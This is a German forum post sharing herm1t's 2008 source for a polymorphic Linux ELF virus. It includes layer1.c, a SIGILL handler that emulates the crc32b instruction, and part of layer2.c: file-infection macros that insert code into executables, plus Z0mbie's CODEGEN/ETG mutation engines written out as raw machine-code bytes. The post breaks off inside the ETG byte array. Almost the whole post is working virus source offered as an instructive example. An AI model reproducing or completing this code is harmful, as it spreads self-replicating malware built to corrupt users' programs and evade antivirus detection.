Ergebnis 1 bis 2 von 2

Baum-Darstellung

  1. #1
    Trojaner Avatar von H4wk
    Registriert seit
    01.05.2015
    Beiträge
    56

    Standard [Source Code] Polymorphic decryptor (Codegen + ETG) by herm1t

    Hallo @all,

    hier mal ein Beispiel für ein gut durchstrukturiertes Code Snippet von herm1t. Ist zwar von 2008, aber ist vom Aufbau trotzdem sehr interessant und meiner Meinung nach gut kommentiert.

    Created by herm1t (aug/2008)

    * Polymorphic decryptor (Codegen + ETG)
    * Uses crc32b (SSE4.2) instruction for decryption
    * Uses signal handler to emulate crc32b on old CPU's
    * Uses "layered" infection + EPO on both layers

    This virus uses CRC32 instruction for decryption and in the same time
    avoids CPUID. The victim will be infected twice. The first virus (layer1)
    will setup the handler for the Invalid instruction signal. The second virus
    (layer2) consists of polymorphic decryptor (produced with CG/ETG) with crc32b
    inside and the virus itself. The layers looks like they are two different
    viruses, they located in different parts of file and will gain control in
    different ways (layer1 from .ctors, layer2 from __libc_start_main() where
    virus replaced the main()'s address with the address of itself).

    If an old CPU (like the box where I writing this) will attempt to execute
    the crc32b the control will be transfered to signal handler, when it will
    examine the location that raised the exception and if there are instruction
    we're waiting for, it will emulate its work. On Nehalems the crc32b will
    be executed natively without exceptions.

    Code:
    layer1.c
    
    
    #include <stdint.h>
    #include <signal.h>
    
    extern void layer1(void);
    extern void layer1_e(void);
    asm(".globl layer1; layer1: call setup; ret");
    
    #include "syscalls.h"
    
    static void inline bzero(char *dst, int size)
    {
    int i;
    for (i = 0; i < size; i++)
    *dst++ = 0;
    }
    
    static void crc_handler(int n);
    static void __attribute__((used)) setup(void)
    {
    struct sigaction sa;
    uint32_t handler =
    (uint32_t)__builtin_return_address(0) - 5 +
    (uint32_t)&crc_handler - (uint32_t)&layer1;
    bzero((void*)&sa, sizeof(sa));
    sa.sa_handler = (void(*)(int))handler;
    sigaction(SIGILL, &sa, 0);    
    }
    
    static uint32_t crc32c_intel(uint32_t crc, uint8_t data)
    {
    int i;
    crc ^= data;
    for (i = 0; i < 8; i++)
    crc = (crc >> 1) ^ ((crc & 1) ? 0x82F63B78 : 0);
    return crc;
    }
    
    static void crc_handler(int n)
    {
    uint8_t *p = (char*)*(uint32_t*)(&n + 15);
    /* CRC32 Gq, Eb */
    if (*(uint32_t*)p == 0xf0380ff2) {
    #define regs(x) (*(uint32_t*)(&n + 12 - x))
    /* check modrm */
    uint8_t modrm, reg, rm;
    modrm = p[4];
    if ((modrm & 0xc0) != 0 || (modrm & 0xfe) == 4)
    return;    
    reg = (modrm >> 3) & 7;
    rm = modrm & 7;
    /* run */
    regs(reg) = crc32c_intel(regs(reg), *(uint8_t*)regs(rm));
    /* adjust return address */
    *(uint32_t*)(&n + 15) += 5;    
    }
    }
    
    asm(".globl layer1_e; layer1_e:");
    Code:
    layer2.c
    
    
    #include <elf.h>
    #include <stdint.h>
    #include <signal.h>
    #include <sys/mman.h>
    #include <sys/stat.h>
    #include <linux/types.h>
    #include <linux/dirent.h>
    
    asm(".globl fake_host; fake_host: mov $1,%eax; mov $0, %ebx; int $0x80");
    
    typedef struct {
    uint32_t layer1_addr, layer1_size;
    uint32_t layer2_addr, layer2_size;
    uint32_t random, seed, trash;
    char *lastbrk, *savebrk;
    } globals;
    register globals *g asm("ebp");
    
    extern void virus_start;
    extern void virus_end(void);
    asm(".globl virus_start; virus_start: call virus; .byte 0x68; .long fake_host; ret");
    
    #include "syscalls.h"
    #ifdef    DEBUG
    #include "debug.c"
    #endif
    
    #define    MIN_VICTIM_SIZE    1024
    #define    MAX_VICTIM_SIZE    1024*1024
    #define    ELFOSABI_TARGET    ELFOSABI_LINUX
    #define    PAGE_SIZE    4096
    
    #define    MAKE_HOLE(off,size) do {    \
    ftruncate(h,l+size);    \
    m = (char*)mremap(m,l,l + size, 0);    \
    if (m == MAP_FAILED) {    \
    goto _close;    \
    }    \
    if (off < l)    \
    memmove(m+off+size, m+off, l-off);    \
    l += size;    \
    } while(0)
    #define    SHIFT_SHDRS(offset,delta) do {    \
    if (ehdr->e_shoff >= offset)    \
    ehdr->e_shoff += delta;    \
    shdr = (Elf32_Shdr*)(m + ehdr->e_shoff);    \
    for (i = 0; i < ehdr->e_shnum; i++)    \
    if (shdr[i].sh_offset >= offset)    \
    shdr[i].sh_offset += delta;    \
    } while(0)
    
    static uint32_t crc32c_intel(uint32_t crc, uint8_t data)
    {
    int i;
    crc ^= data;
    for (i = 0; i < 8; i++)
    crc = (crc >> 1) ^ ((crc & 1) ? 0x82F63B78 : 0);
    return crc;
    }
    
    static void memcpy(char *dst, char *src, int len)
    {
    int i;
    for (i = 0; i < len; i++)
    *dst++ = *src++;
    }
    
    static void bzero(void *dst, int size)
    {
    int i;
    for (i = 0; i < size; i++)
    *((char*)dst + i) = 0;
    }
    
    static int strcmp(const char *s1, const char *s2)
    {
    int ret = 0;
    while (!(ret = *(unsigned char *) s1 - *(unsigned char *) s2) && *s2)
    ++s1, ++s2;
    if (ret < 0)
    ret = -1;
    else
    if (ret > 0)
    ret = 1 ;
    return ret;
    }
    
    static void memmove(void *dst_void, void *src_void, int len)
    {
    char *dst = dst_void;
    char *src = src_void;
    if (src < dst && dst < src + len) {
    src += len;
    dst += len;
    while (len--)
    *--dst = *--src;
    } else {
    while (len--)
    *dst++ = *src++;
    }
    }
    
    static char *sbrk(int inc)
    {
    char *r;
    if (g->lastbrk == NULL) {
    g->lastbrk = (char*)brk(0);
    g->savebrk = g->lastbrk;
    }
    r = g->lastbrk;
    g->lastbrk = (char*)brk(g->lastbrk + inc);
    if (g->lastbrk != (r + inc))
    return (char*)-1;
    return r;
    }
    
    static unsigned long elf_hash(const unsigned char *name) {
    unsigned long h = 0, g;
    while (*name) {
    h = (h << 4) + *name++;
    if (g = h & 0xf0000000)
    h ^= g >> 24;
    h &= ~g;
    }
    return h;
    }
    
    static void build_hash(uint32_t *hash, int nbuckets, int nchains, Elf32_Sym *sym, char *str) {
    uint32_t i, h, *buckets, *chains;
    buckets = hash + 2;
    chains = buckets + nbuckets;
    hash[0] = nbuckets;
    hash[1] = nchains;
    for (i = 1; i < nchains; i++) {
    h = elf_hash(str + sym[i].st_name) % nbuckets;
    if (buckets[h] == 0)
    buckets[h] = i;
    else {
    h = buckets[h];
    while (chains[h] != 0)
    h = chains[h];
    chains[h] = i;
    }
    }
    }
    
    /* CODEGEN/ETG engines by Z0mbie */
    #define cmd_v_c 0 // cmd,v,c
    #define cmd_v_v 1 // cmd,v1,v2
    #define cmd_v_memv 2 // cmd,v1,[v2]
    #define cmd_memv_v 3 // cmd,[v1],v2
    #define cmd_r_r 4 // cmd,r1,r2
    #define cmd_r_c 5 // cmd,r,c
    #define cmd_r_memr 6 // cmd,r1,[r2]
    #define cmd_memr_r 7 // cmd,[r1],r2
    #define cmd_r_v 8 // cmd,r,v
    #define cmd_v_r 9 // cmd,v,r
    // cmd means one of the following:
    #define cmd_mov 0
    #define cmd_add 1
    #define cmd_sub 2
    #define cmd_xor 3
    #define cmd_cmp 4
    // v means offset
    // r means 32-bit register # (0..7)
    // c means dword-const
    extern int cg();
    asm("cg:");
    asm(".byte 0xC8,0x00,0x00,0x00,0x60,0x8B,0x7D,0x0C,0x8B,0x45, 0x28,0xC7,0x45,0x28,0x8B,0x00");
    asm(".byte 0x00,0x00,0x0B,0xC0,0x74,0x28,0xC7,0x45,0x28,0x03, 0x00,0x00,0x00,0x48,0x74,0x1E");
    asm(".byte 0xC7,0x45,0x28,0x2B,0x00,0x00,0x00,0x48,0x74,0x14, 0xC7,0x45,0x28,0x33,0x00,0x00");
    asm(".byte 0x00,0x48,0x74,0x0A,0xC7,0x45,0x28,0x3B,0x00,0x00, 0x00,0x48,0x75,0x63,0x8B,0x45");
    asm(".byte 0x24,0xFF,0x75,0x28,0xFF,0x75,0x2C,0xFF,0x75,0x30, 0xE8,0x0B,0x00,0x00,0x00,0x2B");
    asm(".byte 0x7D,0x0C,0x8B,0x45,0x10,0x89,0x38,0x61,0xC9,0xC3, 0x0B,0xC0,0x0F,0x84,0x77,0x04");
    asm(".byte 0x00,0x00,0x48,0x0F,0x84,0xDF,0x04,0x00,0x00,0x48, 0x0F,0x84,0x6F,0x05,0x00,0x00");
    asm(".byte 0x48,0x0F,0x84,0x92,0x05,0x00,0x00,0x48,0x0F,0x84, 0x14,0x01,0x00,0x00,0x48,0x0F");
    asm(".byte 0x84,0xA9,0x01,0x00,0x00,0x48,0x0F,0x84,0xA3,0x02, 0x00,0x00,0x48,0x0F,0x84,0xE2");
    asm(".byte 0x02,0x00,0x00,0x48,0x0F,0x84,0x23,0x03,0x00,0x00, 0x48,0x0F,0x84,0xA9,0x03,0x00");
    asm(".byte 0x00,0xCC,0xC3,0x83,0x7D,0x1C,0x00,0x74,0x12,0x60, 0xFF,0x75,0x14,0x57,0xFF,0x75");
    asm(".byte 0x08,0xFF,0x55,0x1C,0x83,0xC4,0x0C,0x89,0x04,0x24, 0x61,0xC3,0x60,0x50,0xFF,0x75");
    asm(".byte 0x08,0xFF,0x55,0x20,0x83,0xC4,0x08,0x89,0x44,0x24, 0x1C,0x61,0x0B,0xC0,0xC3,0xB8");
    asm(".byte 0x02,0x00,0x00,0x00,0xEB,0xE6,0xB8,0x03,0x00,0x00, 0x00,0xEB,0xDF,0xB8,0x08,0x00");
    asm(".byte 0x00,0x00,0xEB,0xD8,0xB8,0x00,0x01,0x00,0x00,0xEB, 0xD1,0x50,0xE8,0xF3,0xFF,0xFF");
    asm(".byte 0xFF,0x88,0x04,0x24,0xE8,0xEB,0xFF,0xFF,0xFF,0x88, 0x44,0x24,0x01,0xE8,0xE2,0xFF");
    asm(".byte 0xFF,0xFF,0x88,0x44,0x24,0x02,0xE8,0xD9,0xFF,0xFF, 0xFF,0x88,0x44,0x24,0x03,0x58");
    asm(".byte 0xC3,0x83,0x7D,0x14,0x00,0x74,0x8A,0xE8,0xC1,0xFF, 0xFF,0xFF,0x0F,0xB3,0x45,0x14");
    asm(".byte 0x73,0xF5,0xC3,0x8B,0x44,0x24,0x04,0x0F,0xAB,0x45, 0x14,0x0F,0x82,0x70,0xFF,0xFF");
    asm(".byte 0xFF,0xC2,0x04,0x00,0x83,0x7D,0x14,0x00,0x74,0x2B, 0xE8,0x97,0xFF,0xFF,0xFF,0x75");
    asm(".byte 0x24,0xE8,0xCB,0xFF,0xFF,0xFF,0x51,0x91,0x68,0x8B, 0x00,0x00,0x00,0x51,0xFF,0x74");
    asm(".byte 0x24,0x10,0xE8,0x3B,0x00,0x00,0x00,0xFF,0x74,0x24, 0x08,0xE8,0xC3,0xFF,0xFF,0xFF");
    asm(".byte 0x89,0x4C,0x24,0x08,0x59,0xC3,0xE8,0xA6,0xFF,0xFF, 0xFF,0x93,0xC3,0xE8,0x9F,0xFF");
    asm(".byte 0xFF,0xFF,0x96,0xC3,0x53,0xE8,0xA9,0xFF,0xFF,0xFF, 0xC3,0x56,0xE8,0xA2,0xFF,0xFF");
    asm(".byte 0xFF,0xC3,0x53,0xE8,0xAC,0xFF,0xFF,0xFF,0x5B,0xC3, 0x56,0xE8,0xA4,0xFF,0xFF,0xFF");
    asm(".byte 0x5E,0xC3,0x8A,0x44,0x24,0x0C,0x3C,0x8B,0x74,0x3F, 0xE8,0x30,0xFF,0xFF,0xFF,0x74");
    asm(".byte 0x1B,0x8A,0x44,0x24,0x0C,0xAA,0x8A,0x44,0x24,0x08, 0xC0,0xE0,0x03,0x0A,0x44,0x24");
    asm(".byte 0x04,0x0C,0xC0,0xAA,0xE8,0xEA,0xFE,0xFF,0xFF,0xC2, 0x0C,0x00,0x8A,0x44,0x24,0x0C");
    asm(".byte 0x34,0x02,0xAA,0x8A,0x44,0x24,0x04,0xC0,0xE0,0x03, 0x0A,0x44,0x24,0x08,0x0C,0xC0");
    asm(".byte 0xAA,0xE8,0xCD,0xFE,0xFF,0xFF,0xC2,0x0C,0x00,0xE8, 0xF1,0xFE,0xFF,0xFF,0x74,0xBA");
    asm(".byte 0xB0,0x50,0x0A,0x44,0x24,0x04,0xAA,0xE8,0xB7,0xFE, 0xFF,0xFF,0xB0,0x58,0x0A,0x44");
    asm(".byte 0x24,0x08,0xAA,0xE8,0xAB,0xFE,0xFF,0xFF,0xC2,0x0C, 0x00,0xB0,0xB8,0x0A,0x44,0x24");
    asm(".byte 0x08,0xAA,0x8B,0x44,0x24,0x04,0xAB,0xE8,0x08,0x00, 0x00,0x00,0xE8,0x92,0xFE,0xFF");
    asm(".byte 0xFF,0xC2,0x08,0x00,0x83,0x7D,0x18,0x00,0x74,0x13, 0x83,0xEF,0x04,0x60,0x50,0x57");
    asm(".byte 0xFF,0x75,0x08,0xFF,0x55,0x18,0x83,0xC4,0x0C,0x89, 0x04,0x24,0x61,0xC3,0x8A,0x44");
    asm(".byte 0x24,0x0C,0x3C,0x8B,0x74,0x33,0xB0,0x81,0xAA,0x8A, 0x44,0x24,0x0C,0x3C,0x33,0xB4");
    asm(".byte 0xF0,0x74,0x12,0x3C,0x03,0xB4,0xC0,0x74,0x0C,0x3C, 0x2B,0xB4,0xE8,0x74,0x06,0x3C");
    asm(".byte 0x3B,0xB4,0xF8,0x74,0x00,0x8A,0xC4,0x0A,0x44,0x24, 0x08,0xAA,0x8B,0x44,0x24,0x04");
    asm(".byte 0xAB,0xE8,0x3D,0xFE,0xFF,0xFF,0xC2,0x0C,0x00,0xB8, 0x05,0x00,0x00,0x00,0xE8,0x49");
    asm(".byte 0xFE,0xFF,0xFF,0x74,0x29,0x48,0x74,0x3A,0x48,0x74, 0x62,0x48,0x0F,0x84,0x84,0x00");
    asm(".byte 0x00,0x00,0xB0,0x68,0xAA,0x8B,0x44,0x24,0x04,0xAB, 0xE8,0x14,0xFE,0xFF,0xFF,0xB0");
    asm(".byte 0x58,0x0A,0x44,0x24,0x08,0xAA,0xE8,0x08,0xFE,0xFF, 0xFF,0xC2,0x0C,0x00,0xB0,0xB8");
    asm(".byte 0x0A,0x44,0x24,0x08,0xAA,0x8B,0x44,0x24,0x04,0xAB, 0xE8,0xF4,0xFD,0xFF,0xFF,0xC2");
    asm(".byte 0x0C,0x00,0xE8,0x34,0xFE,0xFF,0xFF,0x50,0x2B,0x44, 0x24,0x08,0xF7,0xD8,0x68,0x8B");
    asm(".byte 0x00,0x00,0x00,0xFF,0x74,0x24,0x10,0x50,0xE8,0x61, 0xFF,0xFF,0xFF,0x58,0x6A,0x03");
    asm(".byte 0xFF,0x74,0x24,0x0C,0x50,0xE8,0x54,0xFF,0xFF,0xFF, 0xC2,0x0C,0x00,0xE8,0x09,0xFE");
    asm(".byte 0xFF,0xFF,0x50,0x03,0x44,0x24,0x08,0x68,0x8B,0x00, 0x00,0x00,0xFF,0x74,0x24,0x10");
    asm(".byte 0x50,0xE8,0x38,0xFF,0xFF,0xFF,0x58,0x6A,0x2B,0xFF, 0x74,0x24,0x0C,0x50,0xE8,0x2B");
    asm(".byte 0xFF,0xFF,0xFF,0xC2,0x0C,0x00,0xE8,0xE0,0xFD,0xFF, 0xFF,0x50,0x33,0x44,0x24,0x08");
    asm(".byte 0x68,0x8B,0x00,0x00,0x00,0xFF,0x74,0x24,0x10,0x50, 0xE8,0x0F,0xFF,0xFF,0xFF,0x58");
    asm(".byte 0x6A,0x33,0xFF,0x74,0x24,0x0C,0x50,0xE8,0x02,0xFF, 0xFF,0xFF,0xC2,0x0C,0x00,0x8A");
    asm(".byte 0x44,0x24,0x0C,0x3C,0x8B,0x74,0x19,0x8A,0x44,0x24, 0x0C,0xAA,0x8A,0x44,0x24,0x08");
    asm(".byte 0xC0,0xE0,0x03,0x0A,0x44,0x24,0x04,0xAA,0xE8,0x56, 0xFD,0xFF,0xFF,0xC2,0x0C,0x00");
    asm(".byte 0xE8,0x7A,0xFD,0xFF,0xFF,0x74,0xE0,0xB0,0xFF,0xAA, 0xB0,0x30,0x0A,0x44,0x24,0x04");
    asm(".byte 0xAA,0xE8,0x3D,0xFD,0xFF,0xFF,0xB0,0x58,0x0A,0x44, 0x24,0x08,0xAA,0xE8,0x31,0xFD");
    asm(".byte 0xFF,0xFF,0xC2,0x0C,0x00,0x8A,0x44,0x24,0x0C,0x3C, 0x8B,0x74,0x1B,0x8A,0x44,0x24");
    asm(".byte 0x0C,0x34,0x02,0xAA,0x8A,0x44,0x24,0x04,0xC0,0xE0, 0x03,0x0A,0x44,0x24,0x08,0xAA");
    asm(".byte 0xE8,0x0E,0xFD,0xFF,0xFF,0xC2,0x0C,0x00,0xE8,0x32, 0xFD,0xFF,0xFF,0x74,0xDE,0xB0");
    asm(".byte 0x50,0x0A,0x44,0x24,0x04,0xAA,0xE8,0xF8,0xFC,0xFF, 0xFF,0xB0,0x8F,0xAA,0x32,0xC0");
    asm(".byte 0x0A,0x44,0x24,0x08,0xAA,0xE8,0xE9,0xFC,0xFF,0xFF, 0xC2,0x0C,0x00,0xE8,0x0D,0xFD");
    asm(".byte 0xFF,0xFF,0x74,0x54,0x8A,0x44,0x24,0x0C,0x3C,0x8B, 0x74,0x21,0x8A,0x44,0x24,0x0C");
    asm(".byte 0xAA,0x8B,0x44,0x24,0x08,0xC0,0xE0,0x03,0x0C,0x05, 0xAA,0x8B,0x44,0x24,0x04,0xAB");
    asm(".byte 0xE8,0x2F,0xFE,0xFF,0xFF,0xE8,0xB9,0xFC,0xFF,0xFF, 0xC2,0x0C,0x00,0xE8,0xDD,0xFC");
    asm(".byte 0xFF,0xFF,0x74,0xD8,0x66,0xB8,0xFF,0x35,0x66,0xAB, 0x8B,0x44,0x24,0x04,0xAB,0xE8");
    asm(".byte 0x10,0xFE,0xFF,0xFF,0xE8,0x9A,0xFC,0xFF,0xFF,0xB0, 0x58,0x0A,0x44,0x24,0x08,0xAA");
    asm(".byte 0xE8,0x8E,0xFC,0xFF,0xFF,0xC2,0x0C,0x00,0x83,0x7D, 0x14,0x00,0x74,0xA6,0x53,0xE8");
    asm(".byte 0x42,0xFD,0xFF,0xFF,0x53,0xFF,0x74,0x24,0x0C,0xE8, 0xCD,0xFD,0xFF,0xFF,0xE8,0x4F");
    asm(".byte 0xFD,0xFF,0xFF,0xFF,0x74,0x24,0x10,0xFF,0x74,0x24, 0x10,0x53,0xE8,0xEE,0xFE,0xFF");
    asm(".byte 0xFF,0xE8,0x2E,0xFD,0xFF,0xFF,0x5B,0xC2,0x0C,0x00, 0xE8,0x80,0xFC,0xFF,0xFF,0x74");
    asm(".byte 0x56,0x8A,0x44,0x24,0x0C,0x3C,0x8B,0x74,0x23,0x8A, 0x44,0x24,0x0C,0x34,0x02,0xAA");
    asm(".byte 0x8B,0x44,0x24,0x04,0xC0,0xE0,0x03,0x0C,0x05,0xAA, 0x8B,0x44,0x24,0x08,0xAB,0xE8");
    asm(".byte 0xA0,0xFD,0xFF,0xFF,0xE8,0x2A,0xFC,0xFF,0xFF,0xC2, 0x0C,0x00,0xE8,0x4E,0xFC,0xFF");
    asm(".byte 0xFF,0x74,0xD6,0xB0,0x50,0x0A,0x44,0x24,0x04,0xAA, 0xE8,0x14,0xFC,0xFF,0xFF,0x66");
    asm(".byte 0xB8,0x8F,0x05,0x66,0xAB,0x8B,0x44,0x24,0x08,0xAB, 0xE8,0x75,0xFD,0xFF,0xFF,0xE8");
    asm(".byte 0xFF,0xFB,0xFF,0xFF,0xC2,0x0C,0x00,0x83,0x7D,0x14, 0x00,0x74,0xA4,0x53,0xE8,0xB3");
    asm(".byte 0xFC,0xFF,0xFF,0x53,0xFF,0x74,0x24,0x10,0xE8,0x3E, 0xFD,0xFF,0xFF,0xE8,0xC0,0xFC");
    asm(".byte 0xFF,0xFF,0xFF,0x74,0x24,0x10,0x53,0xFF,0x74,0x24, 0x10,0xE8,0xA5,0xFE,0xFF,0xFF");
    asm(".byte 0xE8,0x9F,0xFC,0xFF,0xFF,0x5B,0xC2,0x0C,0x00,0xE8, 0xF1,0xFB,0xFF,0xFF,0x74,0x31");
    asm(".byte 0x8A,0x44,0x24,0x0C,0x3C,0x8B,0x75,0x08,0x66,0xB8, 0xC7,0x05,0x66,0xAB,0xEB,0x0A");
    asm(".byte 0xB0,0x81,0xAA,0x8A,0x44,0x24,0x0C,0x04,0x02,0xAA, 0x8B,0x44,0x24,0x08,0xAB,0xE8");
    asm(".byte 0x10,0xFD,0xFF,0xFF,0x8B,0x44,0x24,0x04,0xAB,0xE8, 0x95,0xFB,0xFF,0xFF,0xC2,0x0C");
    asm(".byte 0x00,0x83,0x7D,0x14,0x00,0x74,0xC9,0x53,0xE8,0x49, 0xFC,0xFF,0xFF,0x68,0x8B,0x00");
    asm(".byte 0x00,0x00,0x53,0xFF,0x74,0x24,0x10,0xE8,0x02,0xFD, 0xFF,0xFF,0xE8,0x51,0xFC,0xFF");
    asm(".byte 0xFF,0xFF,0x74,0x24,0x10,0xFF,0x74,0x24,0x10,0x53, 0xE8,0x0B,0xFF,0xFF,0xFF,0xE8");
    asm(".byte 0x30,0xFC,0xFF,0xFF,0x5B,0xC2,0x0C,0x00,0xE8,0x89, 0xFB,0xFF,0xFF,0x74,0x4E,0x48");
    asm(".byte 0x74,0x21,0x56,0xFF,0x74,0x24,0x08,0xE8,0x1A,0x01, 0x00,0x00,0xFF,0x74,0x24,0x10");
    asm(".byte 0xFF,0x74,0x24,0x10,0x56,0xE8,0xE0,0xFE,0xFF,0xFF, 0xE8,0x0C,0xFC,0xFF,0xFF,0x5E");
    asm(".byte 0xC2,0x0C,0x00,0x53,0x56,0xFF,0x74,0x24,0x10,0xFF, 0x74,0x24,0x18,0xE8,0xB5,0x00");
    asm(".byte 0x00,0x00,0xFF,0x74,0x24,0x0C,0xE8,0xEB,0x00,0x00, 0x00,0xFF,0x74,0x24,0x14,0x53");
    asm(".byte 0x56,0xE8,0xFC,0xFB,0xFF,0xFF,0xE8,0xE0,0xFB,0xFF, 0xFF,0xEB,0x1D,0x53,0x56,0xFF");
    asm(".byte 0x74,0x24,0x10,0xFF,0x74,0x24,0x18,0xE8,0x8B,0x00, 0x00,0x00,0xFF,0x74,0x24,0x14");
    asm(".byte 0x53,0xFF,0x74,0x24,0x14,0xE8,0x03,0xFE,0xFF,0xFF, 0x80,0x7C,0x24,0x14,0x3B,0x74");
    asm(".byte 0x14,0xE8,0xBC,0xFB,0xFF,0xFF,0x68,0x8B,0x00,0x00, 0x00,0xFF,0x74,0x24,0x14,0x53");
    asm(".byte 0xE8,0x75,0xFE,0xFF,0xFF,0xE8,0x9A,0xFB,0xFF,0xFF, 0x5E,0x5B,0xC2,0x0C,0x00,0x53");
    asm(".byte 0x56,0xFF,0x74,0x24,0x10,0xFF,0x74,0x24,0x18,0xE8, 0x49,0x00,0x00,0x00,0xFF,0x74");
    asm(".byte 0x24,0x0C,0xE8,0x7F,0x00,0x00,0x00,0xFF,0x74,0x24, 0x14,0x53,0x56,0xE8,0x2D,0xFD");
    asm(".byte 0xFF,0xFF,0xE8,0x74,0xFB,0xFF,0xFF,0xEB,0xB1,0x53, 0x56,0xFF,0x74,0x24,0x10,0xE8");
    asm(".byte 0x46,0x00,0x00,0x00,0xFF,0x74,0x24,0x0C,0xE8,0x59, 0x00,0x00,0x00,0xFF,0x74,0x24");
    asm(".byte 0x14,0x53,0x56,0xE8,0x4D,0xFD,0xFF,0xFF,0xE8,0x47, 0xFB,0xFF,0xFF,0xE8,0x49,0xFB");
    asm(".byte 0xFF,0xFF,0x5E,0x5B,0xC2,0x0C,0x00,0xE8,0x2A,0xFB, 0xFF,0xFF,0x80,0x7C,0x24,0x04");
    asm(".byte 0x8B,0x74,0x14,0x68,0x8B,0x00,0x00,0x00,0x53,0xFF, 0x74,0x24,0x10,0xE8,0x6B,0xFD");
    asm(".byte 0xFF,0xFF,0xE8,0x2B,0xFB,0xFF,0xFF,0xC2,0x08,0x00, 0xE8,0x07,0xFB,0xFF,0xFF,0x68");
    asm(".byte 0x8B,0x00,0x00,0x00,0x53,0xFF,0x74,0x24,0x0C,0xE8, 0x4F,0xFD,0xFF,0xFF,0xE8,0x0F");
    asm(".byte 0xFB,0xFF,0xFF,0xC2,0x04,0x00,0xE8,0xF2,0xFA,0xFF, 0xFF,0x68,0x8B,0x00,0x00,0x00");
    asm(".byte 0x56,0xFF,0x74,0x24,0x0C,0xE8,0x33,0xFD,0xFF,0xFF, 0xE8,0xFB,0xFA,0xFF,0xFF,0xC2");
    asm(".byte 0x04,0x00");
    #define ETG_MOVRR 0x00000001
    #define ETG_MOVRC 0x00000002
    #define ETG_MOVSXZX 0x00000004
    #define ETG_XCHG 0x00000008
    #define ETG_LEA 0x00000010
    #define ETG_TTTRR 0x00000020
    #define ETG_TTTRC 0x00000040
    #define ETG_INCDEC 0x00000080
    #define ETG_NOTNEG 0x00000100
    #define ETG_TESTRR 0x00000200
    #define ETG_TESTRC 0x00000400
    #define ETG_IMUL 0x00000800
    #define ETG_SHIFT 0x00001000
    #define ETG_SHxD 0x00002000
    #define ETG_BSWAP 0x00004000
    #define ETG_XADD 0x00008000
    #define ETG_BSx 0x00010000
    #define ETG_BTx 0x00020000
    #define ETG_JMPS 0x00040000
    #define ETG_SEG 0x00080000
    #define ETG_REP 0x00100000
    #define ETG_ALL 0x001FFFFF
    #define REG_EAX 0x00000001
    #define REG_ECX 0x00000002
    #define REG_EDX 0x00000004
    #define REG_EBX 0x00000008
    #define REG_ESP 0x00000010
    #define REG_EBP 0x00000020
    #define REG_ESI 0x00000040
    #define REG_EDI 0x00000080
    #define REG_ALL ((~REG_ESP)&0xFF)
    extern uint8_t *etg();
    asm("etg:");
    asm(".byte 0xC8,0x50,0x00,0x00,0x60,0x8B,0x7D,0x24,0xFC,0x81, 0x65,0x10,0xEF,0x00,0x00,0x00");
    asm(".byte 0x75,0x07,0xC7,0x45,0x10,0x01,0x00,0x00,0x00,0x81, 0x65,0x14,0xEF,0x00,0x00,0x00");
    asm(".byte 0x75,0x07,0xC7,0x45,0x14,0x01,0x00,0x00,0x00,0x81, 0x65,0x0C,0xFF,0xFF,0x1F,0x00");
    asm(".byte 0x75,0x07,0xC7,0x45,0x0C,0x40,0x00,0x00,0x00,0x8B, 0xC7,0x2B,0x45,0x24,0x8B,0x4D");
    asm(".byte 0x18,0x89,0x01,0x83,0xC0,0x10,0x3B,0x45,0x20,0x73, 0x0C,0xFF,0x4D,0x1C,0x7C,0x07");
    asm(".byte 0xE8,0x05,0x00,0x00,0x00,0xEB,0xE2,0x61,0xC9,0xC3, 0xC7,0x45,0xFC,0x01,0x00,0x00");
    asm(".byte 0x00,0xC7,0x45,0xF8,0x08,0x00,0x00,0x00,0xE8,0xE4, 0x03,0x00,0x00,0x89,0x45,0xC8");
    asm(".byte 0xC1,0xE0,0x03,0x89,0x45,0xC4,0xE8,0xD1,0x03,0x00, 0x00,0x89,0x45,0xC0,0xC1,0xE0");
    asm(".byte 0x03,0x89,0x45,0xBC,0x8B,0x45,0x14,0x23,0x45,0x10, 0xA9,0x0F,0x00,0x00,0x00,0x74");
    asm(".byte 0x13,0xB8,0x02,0x00,0x00,0x00,0xE8,0x93,0x03,0x00, 0x00,0x89,0x45,0xFC,0xC1,0xE0");
    asm(".byte 0x03,0x89,0x45,0xF8,0xB8,0x02,0x00,0x00,0x00,0xE8, 0x80,0x03,0x00,0x00,0x89,0x45");
    asm(".byte 0xDC,0xD1,0xE0,0x89,0x45,0xD8,0xC1,0xE0,0x02,0x89, 0x45,0xD4,0xB8,0x04,0x00,0x00");
    asm(".byte 0x00,0xE8,0x68,0x03,0x00,0x00,0xC1,0xE0,0x03,0x89, 0x45,0xD0,0xE8,0x70,0x03,0x00");
    asm(".byte 0x00,0xC1,0xE0,0x03,0x89,0x45,0xCC,0xE8,0x70,0x03, 0x00,0x00,0x89,0x45,0xF4,0xC1");
    asm(".byte 0xE0,0x03,0x89,0x45,0xE4,0xE8,0x62,0x03,0x00,0x00, 0x89,0x45,0xEC,0xE8,0x5F,0x03");
    asm(".byte 0x00,0x00,0x89,0x45,0xF0,0xC1,0xE0,0x03,0x89,0x45, 0xE0,0xE8,0x51,0x03,0x00,0x00");
    asm(".byte 0x89,0x45,0xE8,0xE8,0x4E,0x03,0x00,0x00,0x89,0x45, 0xB8,0xC1,0xE0,0x03,0x89,0x45");
    asm(".byte 0xB4,0xE8,0x40,0x03,0x00,0x00,0x89,0x45,0xB0,0xB8, 0x1F,0x00,0x00,0x00,0xE8,0x0B");
    asm(".byte 0x03,0x00,0x00,0x96,0x46,0x8B,0x55,0x0C,0x8B,0x45, 0xFC,0xD1,0xEA,0x73,0x0E,0x4E");
    asm(".byte 0x0F,0x84,0x27,0x01,0x00,0x00,0x4E,0x0F,0x84,0x2D, 0x01,0x00,0x00,0xD1,0xEA,0x73");
    asm(".byte 0x0E,0x4E,0x0F,0x84,0x2F,0x01,0x00,0x00,0x4E,0x0F, 0x84,0x36,0x01,0x00,0x00,0xD1");
    asm(".byte 0xEA,0x73,0x07,0x4E,0x0F,0x84,0x32,0x01,0x00,0x00, 0xD1,0xEA,0x73,0x07,0x4E,0x0F");
    asm(".byte 0x84,0x47,0x01,0x00,0x00,0xD1,0xEA,0x73,0x07,0x4E, 0x0F,0x84,0x41,0x01,0x00,0x00");
    asm(".byte 0xD1,0xEA,0x73,0x0E,0x4E,0x0F,0x84,0x44,0x01,0x00, 0x00,0x4E,0x0F,0x84,0x45,0x01");
    asm(".byte 0x00,0x00,0xD1,0xEA,0x73,0x0E,0x4E,0x0F,0x84,0x42, 0x01,0x00,0x00,0x4E,0x0F,0x84");
    asm(".byte 0x4C,0x01,0x00,0x00,0xD1,0xEA,0x73,0x0E,0x4E,0x0F, 0x84,0x59,0x01,0x00,0x00,0x4E");
